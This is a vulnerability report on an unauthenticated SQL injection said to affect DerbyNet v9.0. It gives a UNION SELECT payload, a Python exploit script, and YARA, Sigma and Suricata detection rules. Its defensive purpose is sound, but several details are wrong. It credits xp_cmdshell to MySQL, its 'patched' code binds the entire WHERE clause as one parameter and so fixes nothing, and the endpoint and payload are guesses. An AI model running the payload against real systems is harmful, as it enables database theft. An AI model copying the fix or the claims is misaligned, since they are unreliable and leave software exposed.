CVE-2024-30922

Executive Summary

CVE-2024-30922 is a critical SQL Injection vulnerability discovered in DerbyNet v9.0. The flaw resides in the Award Document Rendering component, specifically within the where clause processing. An unauthenticated remote attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential remote code execution. The vulnerability has a public proof-of-concept (PoC) but no official patch or vendor advisory has been released as of this report. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical severity remains high due to the lack of authentication requirements.

Note: This vulnerability is not related to any WordPress plugin or component; it is a standalone application (DerbyNet) and should not be attributed to Apache or Nginx.

Supply Chain & Package Security

DerbyNet is not an NPM, PyPI, Go, or Ruby package. It is a standalone PHP/MySQL application. No supply chain implications are identified at this time.

CVSS Breakdown & Threat Level

The CVSS vector is unknown due to insufficient data from the NVD. However, based on the nature of the vulnerability (unauthenticated SQL injection), a reasonable estimate would be:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Remote, unauthenticated exploitation with full database control.

Deep Dive & Mechanics

The vulnerability exists in the Award Document Rendering module of DerbyNet v9.0. The application constructs SQL queries using user-supplied input from the where clause parameter without proper sanitization or parameterized queries. An attacker can inject SQL commands by appending malicious payloads to the where parameter.

Root Cause: The application directly concatenates user input into SQL statements, e.g.:

SELECT * FROM awards WHERE $where_clause

Where $where_clause is taken directly from the HTTP request without validation.

Attack Vector: HTTP GET/POST request to the vulnerable endpoint (e.g., /award_render.php?where=1=1).

Impact: Full database read/write, potential file system access via INTO OUTFILE, and possible command execution via MySQL xp_cmdshell (if enabled).

Vulnerable vs. Patched Code

Vulnerable Code (DerbyNet v9.0):

// vulnerable.php
$where = $_GET['where'];
$query = "SELECT * FROM awards WHERE $where";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// patched.php
$where = $_GET['where'];
$stmt = $conn->prepare("SELECT * FROM awards WHERE ?");
$stmt->bind_param("s", $where);
$stmt->execute();
$result = $stmt->get_result();

Note: No official patch exists. The above is a recommended fix using prepared statements.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• DerbyNet v9.0 instance accessible over network.
• No authentication required for the vulnerable endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /award_render.php).
2. Inject SQL payload via the where parameter.

Proof-of-Concept (PoC) Payload:

1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

Automated Exploit (Python):

import requests

target = "http://target.com/award_render.php"
payload = "1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--"

r = requests.get(target, params={"where": payload})
print(r.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL injection patterns in HTTP requests to /award_render.php.
• Look for UNION, SELECT, OR 1=1, -- in the where parameter.

Defense:

• Implement input validation and parameterized queries.
• Deploy a Web Application Firewall (WAF) with SQL injection rules.
• Restrict database user privileges (e.g., no FILE privilege).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /award_render.php with unusual where parameter values.
• SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified database tables or new entries in awards table.

Log IOCs:

• Web server logs showing where=1=1 or where=UNION SELECT.
• Database logs showing anomalous queries.

Detection Engineering

YARA Rule

rule CVE_2024_30922_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting DerbyNet Award Document Rendering"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-30922"
    strings:
        $s1 = "award_render.php" nocase
        $s2 = "where=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "1=1" nocase
        $s6 = "--" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-30922 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against DerbyNet Award Document Rendering
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "award_render.php?where="
            - "UNION"
            - "SELECT"
            - "1=1"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of UNION in queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30922 SQL Injection Attempt"; flow:to_server,established; content:"award_render.php"; http_uri; content:"where="; http_uri; pcre:"/(UNION|SELECT|1=1|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the DerbyNet server from untrusted networks.
2. Disable the vulnerable endpoint if not essential.
3. Apply input validation and parameterized queries (see patched code above).

Long-term:

• Monitor vendor for official patch (currently none).
• Conduct a full security audit of the application.
• Implement a WAF with SQL injection rules.

Workaround:

• Use a reverse proxy to filter malicious where parameter values.

Valters IT
Cyber Threat Intelligence & DevSecOps